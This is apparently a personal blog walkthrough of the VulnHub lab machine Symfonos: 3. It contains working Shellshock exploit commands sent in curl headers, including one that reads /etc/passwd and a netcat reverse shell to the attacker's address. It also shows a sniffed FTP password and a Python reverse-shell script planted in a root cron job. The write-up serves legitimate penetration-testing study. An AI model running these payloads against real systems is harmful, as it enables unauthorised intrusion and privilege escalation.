Name : Symfonos: 3
Difficulty : Intermediate
Type : boot2root
Source : VulnHub
URL : https://www.vulnhub.com/entry/symfonos-3,332/
Entry : 12 / 30
Welcome to the walkthrough for Symfonos: 3, a boot2root CTF found on VulnHub. This is the twelfth VM in my VulnHub Challenge, and the second in the “intermediate” category! These intermediate machines are more challenging than beginner machines and should represent a similar challenge to those found in the OSCP labs.
The Symfonos family of virtual machines are more recent entries, with Symfonos: 3 being released on July 20, 2019.
I really hated this VM. There isn’t really anything particularly difficult with this one, but there are so many blasted rabbit holes to distract you that it drove me nuts. To keep things simple I’m going to only mention them in passing rather than dwell on them.
Goal
As with most CTFs from VulnHub, the goal is to get the text file which serves as the flag from the /root
directory.
Setup
I’m using VMWare player to host Kali and the Symfonos: 3 image, with both VMs running in a NAT network.
Discovery
I use netdiscover
to search for the IP address of the target VM:
root@dante:~# netdiscover -r 192.168.127.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.127.1 00:50:56:c0:00:08 1 60 VMware, Inc.
192.168.127.2 00:50:56:ee:35:86 1 60 VMware, Inc.
192.168.127.131 00:0c:29:45:ca:93 1 60 VMware, Inc.
192.168.127.254 00:50:56:f4:c9:28 1 60 VMware, Inc.
So it looks like 192.168.127.131
is our target IP, given the IP for my Kali machine is 192.168.127.129
.
Scanning
I’ll start with a quick nmap
scan to look for open ports, then do a second scan that does a deeper dive into the services behind the open ports using the -sC
and -sV
flags:
root@dante:~# nmap 192.168.127.131
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 22:08 EDT
Nmap scan report for 192.168.127.131
Host is up (0.00012s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
MAC Address: 00:0C:29:45:CA:93 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.33 seconds
root@dante:~# nmap -sC -sV -p21,22,80 192.168.127.131
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 22:08 EDT
Nmap scan report for 192.168.127.131
Host is up (0.00083s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5b
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 cd:64:72:76:80:51:7b:a8:c7:fd:b2:66:fa:b6:98:0c (RSA)
| 256 74:e5:9a:5a:4c:16:90:ca:d8:f7:c7:78:e7:5a:86:81 (ECDSA)
|_ 256 3c:e4:0b:b9:db:bf:01:8a:b7:9c:42:bc:cb:1e:41:6b (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:45:CA:93 (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.18 seconds
No SMB server this time, but there is an FTP server and a web server, as well as SSH. Since I haven’t found any usernames yet, it only makes sense to start with the web server.
Web Reconnaissance
I’ll start by using curl
to see what’s on the default page:
root@dante:~# curl -v http://192.168.127.131/
* Trying 192.168.127.131:80...
* TCP_NODELAY set
* Connected to 192.168.127.131 (192.168.127.131) port 80 (#0)
> GET / HTTP/1.1
> Host: 192.168.127.131
> User-Agent: curl/7.66.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Thu, 17 Oct 2019 10:37:55 GMT
< Server: Apache/2.4.25 (Debian)
< Last-Modified: Sat, 20 Jul 2019 05:19:54 GMT
< ETag: "f1-58e15fe4052c8"
< Accept-Ranges: bytes
< Content-Length: 241
< Vary: Accept-Encoding
< Content-Type: text/html
<
<html>
<head>
<style>
html,body{
margin:0;
height:100%;
}
img{
display:block;
width:100%; height:100%;
object-fit: cover;
}
</style>
</head>
<body>
<img src="image.jpg">
<!-- Can you bust the underworld? -->
</body>
</html>
* Connection #0 to host 192.168.127.131 left intact
Interesting comment at the end there, Can you bust the underworld? I believe I can!
The image that is displayed is the same as the title image for this writeup, so I won’t repeat that here. Since I have no other leads, I’m going to switch to gobuster
to see if I can brute force any paths/files on the web server.
Down the rabbit hole
I’ll start with gobuster
and the /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
wordlist (a favourite of mine):
root@dante:~# gobuster dir -f -t 50 -x html -u http://192.168.127.131 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://192.168.127.131
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: html
[+] Add Slash: true
[+] Timeout: 10s
===============================================================
2019/10/17 06:45:37 Starting gobuster
===============================================================
/icons/ (Status: 403)
/index.html (Status: 200)
/cgi-bin/ (Status: 403)
/gate/ (Status: 200)
/server-status/ (Status: 403)
===============================================================
2019/10/17 06:46:20 Finished
===============================================================
This is where I hit my first rabbit hole. I noticed that only the /gate/
path returned an HTTP 200 response, so I repeated my gobuster
search, but starting from http://192.168.127.131/gate/
. This will lead you down a whole lot of false positives that will get you nowhere.
After a few tries at this, I noticed that the original scan had an HTTP 403 response code for /cgi-bin/
, which is uncommon but is a great indicator that there may be some type of CGI application running on the machine. Re-running gobuster
with this new path is more fruitful:
root@dante:~# gobuster dir -f -t 50 -x html -u http://192.168.127.131/cgi-bin/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://192.168.127.131/cgi-bin/
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: html
[+] Add Slash: true
[+] Timeout: 10s
===============================================================
2019/10/17 06:49:49 Starting gobuster
===============================================================
/underworld/ (Status: 200)
===============================================================
2019/10/17 06:50:34 Finished
===============================================================
Wonderful, much more reasonable! Using curl
again to examine this URL shows something rather simple:
* Trying 192.168.127.131:80...
* TCP_NODELAY set
* Connected to 192.168.127.131 (192.168.127.131) port 80 (#0)
> GET /cgi-bin/underworld HTTP/1.1
> Host: 192.168.127.131
> User-Agent: curl/7.66.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Thu, 17 Oct 2019 11:13:16 GMT
< Server: Apache/2.4.25 (Debian)
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/html
<
06:13:16 up 2 days, 5:54, 0 users, load average: 0.00, 0.09, 0.90
* Connection #0 to host 192.168.127.131 left intact
Looks to be the output from the uptime
command, which is a standard application installed on Linux. Plus it’s being hosted in the cgi-bin
directory. I immediately think of Shellshock, so I try running another simple curl
command to verify if it’s vulnerable or not:
oot@dante:~# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" http://192.168.127.131/cgi-bin/underworld
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
Debian-exim:x:105:109::/var/spool/exim4:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
sshd:x:107:65534::/run/sshd:/usr/sbin/nologin
hades:x:1000:1000:,,,:/home/hades:/bin/bash
cerberus:x:1001:1001:,,,:/home/cerberus:/bin/bash
proftpd:x:108:65534::/run/proftpd:/bin/false
ftp:x:109:65534::/srv/ftp:/bin/false
Oh yeah, it’s susceptible to Shellshock. Not only that, but I have two new users I can spot! I’m going to use this to kick off a nice reverse shell. I’ll setup my listener on port 9001 using nc
, then use curl
to kick off the actual exploit:
root@dante:~# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'which nc'" http://192.168.127.131/cgi-bin/underworld
/bin/nc
root@dante:~# curl -H "user-agent: () { :; }; echo; echo; /bin/nc -e /bin/bash 192.168.127.129 9001" http://192.168.127.131/cgi-bin/underworld
As for my listener, after I get a connection I immediately upgrade to a proper TTY session and set some environment variables to make life easier for myself:
root@dante:~# nc -nvlp 9001
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 192.168.127.131.
Ncat: Connection from 192.168.127.131:50994.
python -c "import pty;pty.spawn('/bin/bash')"
cerberus@symfonos3:/usr/lib/cgi-bin$ cd /home/cerberus
cd /home/cerberus
cerberus@symfonos3:/home/cerberus$ export TERM=screen
export TERM=screen
cerberus@symfonos3:/home/cerberus$ ls -al
ls -al
total 20
drwxr-xr-x 2 cerberus cerberus 4096 Jul 20 05:31 .
drwxr-xr-x 4 root root 4096 Jul 20 01:10 ..
lrwxrwxrwx 1 root root 9 Jul 20 05:31 .bash_history -> /dev/null
-rw-r--r-- 1 cerberus cerberus 220 Jul 20 01:10 .bash_logout
-rw-r--r-- 1 cerberus cerberus 3526 Jul 20 01:10 .bashrc
-rw-r--r-- 1 cerberus cerberus 675 Jul 20 01:10 .profile
cerberus@symfonos3:/home/cerberus$
So, nothing in /home/cerberus
, but that’s okay. I’m on the machine, so now it’s time to dig!
Enumeration - Part 1
I turn to my usual standby tool, LinEnum.sh
. Unfortunately when I run it, I get nothing of value from the output! Very disappointing, so I won’t bore you with the output here.
Remember when I said that there were a lot of rabbit holes when using gobuster
earlier? I wasn’t lying:
cerberus@symfonos3:/home/cerberus$ cd /var/www/html
cd /var/www/html
cerberus@symfonos3:/var/www/html$ ls
ls
gate image.jpg index.html
cerberus@symfonos3:/var/www/html$ find . -type d
find . -type d
.
./gate
./gate/cerberus
./gate/cerberus/tartarus
./gate/cerberus/tartarus/titanomachy
./gate/cerberus/tartarus/hecatoncheires
./gate/cerberus/tartarus/thejudges
./gate/cerberus/tartarus/hermes
./gate/cerberus/tartarus/phlegethon
./gate/cerberus/tartarus/charon
./gate/cerberus/tartarus/cocytus
./gate/cerberus/tartarus/acheron
cerberus@symfonos3:/var/www/html$
These are all the different directories you could have fallen down looking for a possible way in. Thankfully I only went down like 3-4 of them myself. Sigh.
Enumeration - Part 2
I could not find anything of use for myself. I did, however, stumble across something interesting when I was looking for files owned by the other user, hades
:
cerberus@symfonos3:/home/cerberus$ find / -user hades 2> /dev/null
find / -user hades 2> /dev/null
/srv/ftp
/srv/ftp/statuscheck.txt
/opt/ftpclient
/home/hades
/home/hades/.bashrc
/home/hades/.profile
/home/hades/.bash_logout
/home/hades/.nano
/proc/47803
/proc/47803/task
/proc/47803/task/47803
/proc/47803/task/47803/net
/proc/47803/task/47803/attr
/proc/47803/net
/proc/47803/attr
Let’s Spy on Processes
The interesting one is the /opt/ftpclient
, since the directory is owned by hades
and I currently cannot get into it. I decided to try downloading a great utility called pspy
that allows you to watch for processes (process spy, get it?). I’m curious if this /opt/ftpclient
directory is ever used:
cerberus@symfonos3:/dev/shm$ wget http://192.168.127.129/pspy32
wget http://192.168.127.129/pspy32
--2019-10-17 19:27:51-- http://192.168.127.129/pspy32
Connecting to 192.168.127.129:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2656352 (2.5M) [application/octet-stream]
Saving to: 'pspy32'
pspy32 100%[===================>] 2.53M --.-KB/s in 0.02s
2019-10-17 19:27:51 (157 MB/s) - 'pspy32' saved [2656352/2656352]
cerberus@symfonos3:/dev/shm$ chmod 755 pspy32
chmod 755 pspy32
cerberus@symfonos3:/dev/shm$ ./pspy32
./pspy32
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2019/10/17 19:28:02 CMD: UID=0 PID=9697 |
2019/10/17 19:28:02 CMD: UID=0 PID=9 |
2019/10/17 19:28:02 CMD: UID=105 PID=808 | /usr/sbin/exim4 -bd -q30m
2019/10/17 19:28:02 CMD: UID=0 PID=8 |
2019/10/17 19:28:02 CMD: UID=0 PID=78 |
2019/10/17 19:28:02 CMD: UID=0 PID=77 |
2019/10/17 19:28:02 CMD: UID=0 PID=76 |
2019/10/17 19:28:02 CMD: UID=0 PID=704 | /usr/bin/python3 /usr/bin/fail2ban-server -s /var/run/fail2ban/fail2ban.sock -p /var/run/fail2ban/fail2ban.pid -x -b
2019/10/17 19:28:02 CMD: UID=0 PID=700 | /sbin/dhclient -4 -v -pf /run/dhclient.ens33.pid -lf /var/lib/dhcp/dhclient.ens33.leases -I -df /var/lib/dhcp/dhclient6.ens33.leases ens33
2019/10/17 19:28:02 CMD: UID=0 PID=7 |
2019/10/17 19:28:02 CMD: UID=102 PID=62427 | /lib/systemd/systemd-resolved
2019/10/17 19:28:02 CMD: UID=0 PID=5 |
2019/10/17 19:28:02 CMD: UID=0 PID=47803 | proftpd: (accepting connections)
2019/10/17 19:28:02 CMD: UID=0 PID=460 | /sbin/dhclient -nw
2019/10/17 19:28:02 CMD: UID=0 PID=440 | /usr/sbin/sshd -D
2019/10/17 19:28:02 CMD: UID=0 PID=42 |
2019/10/17 19:28:02 CMD: UID=0 PID=41 |
2019/10/17 19:28:02 CMD: UID=0 PID=398 | /sbin/agetty --noclear tty1 linux
2019/10/17 19:28:02 CMD: UID=1001 PID=39007 | ./pspy32
2019/10/17 19:28:02 CMD: UID=0 PID=38982 |
2019/10/17 19:28:02 CMD: UID=0 PID=38960 |
2019/10/17 19:28:02 CMD: UID=1001 PID=38942 | /bin/bash
2019/10/17 19:28:02 CMD: UID=1001 PID=38941 | python -c import pty;pty.spawn('/bin/bash')
2019/10/17 19:28:02 CMD: UID=1001 PID=38927 | bash
2019/10/17 19:28:02 CMD: UID=0 PID=38876 |
2019/10/17 19:28:02 CMD: UID=0 PID=38788 |
2019/10/17 19:28:02 CMD: UID=0 PID=386 | /lib/systemd/systemd-logind
2019/10/17 19:28:02 CMD: UID=0 PID=384 | /usr/sbin/cron -f
2019/10/17 19:28:02 CMD: UID=0 PID=381 | /usr/sbin/rsyslogd -n
2019/10/17 19:28:02 CMD: UID=106 PID=346 | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
2019/10/17 19:28:02 CMD: UID=0 PID=3 |
2019/10/17 19:28:02 CMD: UID=1001 PID=29899 | /usr/sbin/apache2 -k start
...
<snip>
...
2019/10/17 19:28:02 CMD: UID=0 PID=1 | /sbin/init
2019/10/17 19:28:20 CMD: UID=0 PID=39028 |
2019/10/17 19:29:01 CMD: UID=0 PID=39029 | /usr/sbin/CRON -f
2019/10/17 19:29:01 CMD: UID=0 PID=39030 | /usr/sbin/CRON -f
2019/10/17 19:29:01 CMD: UID=0 PID=39031 | /bin/sh -c /usr/bin/curl --silent -I 127.0.0.1 > /opt/ftpclient/statuscheck.txt
2019/10/17 19:30:01 CMD: UID=0 PID=39033 | /usr/sbin/CRON -f
2019/10/17 19:30:01 CMD: UID=0 PID=39032 | /usr/sbin/cron -f
2019/10/17 19:30:01 CMD: UID=0 PID=39034 | /usr/sbin/CRON -f
2019/10/17 19:30:01 CMD: UID=0 PID=39035 | /usr/sbin/CRON -f
2019/10/17 19:30:01 CMD: UID=0 PID=39036 | /bin/sh -c /usr/bin/python2.7 /opt/ftpclient/ftpclient.py
<snip>
Again, I had to be patient to find something useful. In this case it paid off. There are two things I’ve noticed:
fail2ban
is running, meaning I likely won’t be able to brute force FTP or SSH so I’ll have to try another approach.- The
/opt/ftpclient/ftpclient.py
application seems to be run at regular intervals, and seems to be run byroot
(UID=0
in the output), so that means there’s likely a cron job. And since there are no other FTP servers aside from the one locally, I may be able to find what I’m looking for with some wire sniffing…
Enumeration - Part 3
Oh please let there be something like tcpdump
or tshark
available locally on this machine:
cerberus@symfonos3:/home/cerberus$ which tshark
which tshark
cerberus@symfonos3:/home/cerberus$ which tcpdump
which tcpdump
/usr/local/bin/tcpdump
YES!!! Now I’m in business! The tcpdump
tool will allow me to monitor the network traffic. Since I have a python application that’s likely communicating to an FTP server on the local machine, I’m just going to monitor for all traffic going over port 21 over the interface lo
, which is the loopback interface that listens for connections to 127.0.0.1
. That’s likely the IP being used to target the local FTP server from the script:
cerberus@symfonos3:/home/cerberus$ tcpdump -v -i lo port 21
tcpdump -v -i lo port 21
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
19:54:01.640732 IP (tos 0x0, ttl 64, id 2284, offset 0, flags [DF], proto TCP (6), length 60)
localhost.49446 > localhost.ftp: Flags [S], cksum 0xfe30 (incorrect -> 0x75bf), seq 1537805288, win 43690, options [mss 65495,sackOK,TS val 60752644 ecr 0,nop,wscale 7], length 0
19:54:01.640743 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 60)
localhost.ftp > localhost.49446: Flags [S.], cksum 0xfe30 (incorrect -> 0xec98), seq 1777604734, ack 1537805289, win 43690, options [mss 65495,sackOK,TS val 60752644 ecr 60752644,nop,wscale 7], length 0
19:54:01.640751 IP (tos 0x0, ttl 64, id 2285, offset 0, flags [DF], proto TCP (6), length 52)
localhost.49446 > localhost.ftp: Flags [.], cksum 0xfe28 (incorrect -> 0xbedd), ack 1, win 342, options [nop,nop,TS val 60752644 ecr 60752644], length 0
19:54:01.648570 IP (tos 0x0, ttl 64, id 7035, offset 0, flags [DF], proto TCP (6), length 107)
localhost.ftp > localhost.49446: Flags [P.], cksum 0xfe5f (incorrect -> 0x117c), seq 1:56, ack 1, win 342, options [nop,nop,TS val 60752646 ecr 60752644], length 55: FTP, length: 55
220 ProFTPD 1.3.5b Server (Debian) [::ffff:127.0.0.1]
19:54:01.648622 IP (tos 0x0, ttl 64, id 2286, offset 0, flags [DF], proto TCP (6), length 52)
localhost.49446 > localhost.ftp: Flags [.], cksum 0xfe28 (incorrect -> 0xbea2), ack 56, win 342, options [nop,nop,TS val 60752646 ecr 60752646], length 0
19:54:01.648679 IP (tos 0x0, ttl 64, id 2287, offset 0, flags [DF], proto TCP (6), length 64)
localhost.49446 > localhost.ftp: Flags [P.], cksum 0xfe34 (incorrect -> 0x2f9f), seq 1:13, ack 56, win 342, options [nop,nop,TS val 60752646 ecr 60752
646], length 12: FTP, length: 12
USER hades
19:54:01.648682 IP (tos 0x0, ttl 64, id 7036, offset 0, flags [DF], proto TCP (6), length 52)
localhost.ftp > localhost.49446: Flags [.], cksum 0xfe28 (incorrect -> 0xbe96), ack 13, win 342, options [nop,nop,TS val 60752646 ecr 60752646], length 0
19:54:01.652181 IP (tos 0x0, ttl 64, id 7037, offset 0, flags [DF], proto TCP (6), length 85)
localhost.ftp > localhost.49446: Flags [P.], cksum 0xfe49 (incorrect -> 0xb839), seq 56:89, ack 13, win 342, options [nop,nop,TS val 60752647 ecr 60752646], length 33: FTP, length: 33
331 Password required for hades
19:54:01.652261 IP (tos 0x0, ttl 64, id 2288, offset 0, flags [DF], proto TCP (6), length 75)
localhost.49446 > localhost.ftp: Flags [P.], cksum 0xfe3f (incorrect -> 0x1cb2), seq 13:36, ack 89, win 342, options [nop,nop,TS val 60752647 ecr 60752647], length 23: FTP, length: 23
PASS PTpZTfU4vxgzvRBE
<snip>
Again, a bit of patience but it pays off. I can see that the password for hades
is PTpZTfU4vxgzvRBE
. Aren’t plain-text protocols like FTP wonderful? ;-)
SSH as hades
Let’s see if hades
uses the same password for SSH:
root@dante:~# ssh hades@192.168.127.131
The authenticity of host '192.168.127.131 (192.168.127.131)' can't be established.
ECDSA key fingerprint is SHA256:Q5ddgsdCSuSXrLgf+oVAwhdHy5e7atU6gZzISbrzU94.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.127.131' (ECDSA) to the list of known hosts.
hades@192.168.127.131's password:
Linux symfonos3 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1+deb9u5 (2019-08-11) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
No mail.
Last login: Thu Oct 17 19:58:25 2019 from 192.168.127.129
hades@symfonos3:~$
Yes. Yes he does. Awesome. At this point I tried running LinEnum.sh
again, but no luck. However, I already know that there is a cron job that calls the /opt/ftpclient/ftpclient.py
, and that it is run as root
. This is from the pspy32
output earlier. I decide the easiest approach is to just replace the /opt/ftpclient/ftpclient.py
file with my own, using a simple Python reverse shell that I get from PenTestMonkey:
import socket,subprocess,os
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.127.129",9002))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(["/bin/sh","-i"])
Using this code instead of the existing code in /opt/ftpclient/ftpclient.py
, setting up a simple Netcat listener on my Kali machine, ad a bit of patience leaves me with a wonderful result:
root@dante:~# nc -nvlp 9002
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9002
Ncat: Listening on 0.0.0.0:9002
Ncat: Connection from 192.168.127.131.
Ncat: Connection from 192.168.127.131:38682.
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
Get the Flag
Now that I’ve escalated to root
, all that’s left is to grab the flag:
# cd /root
# ls
proof.txt
# cat proof.txt
Congrats on rooting symfonos:3!
_._
_/,__\,
__/ _/o'o
/ '-.___'/ __
/__ /\ )__/_))\
/_/, __,____ // '-.____|--' \\
e,e / // /___/| |/ \/\ \\
'o /))) : \___\| / , \/ \\
-' \\__,_/| \/ / \ \\
\_\| \/ \ \\
| || < '_ \ \\
| || / ,| / / \\
| || | / | /\ \\
| || \_/ | | | \\
| ||_______________,' |__/ \ \\
\|/_______________\___/______\_ \\
\________________________ \__ \\ ___
\________________________ _\_____ \\ _____/
\________________________ \\
~~~~~~~ / ~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~ ~~~~\\~~~~
~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ //
Contact me via Twitter @zayotic to give feedback!
#
Fin.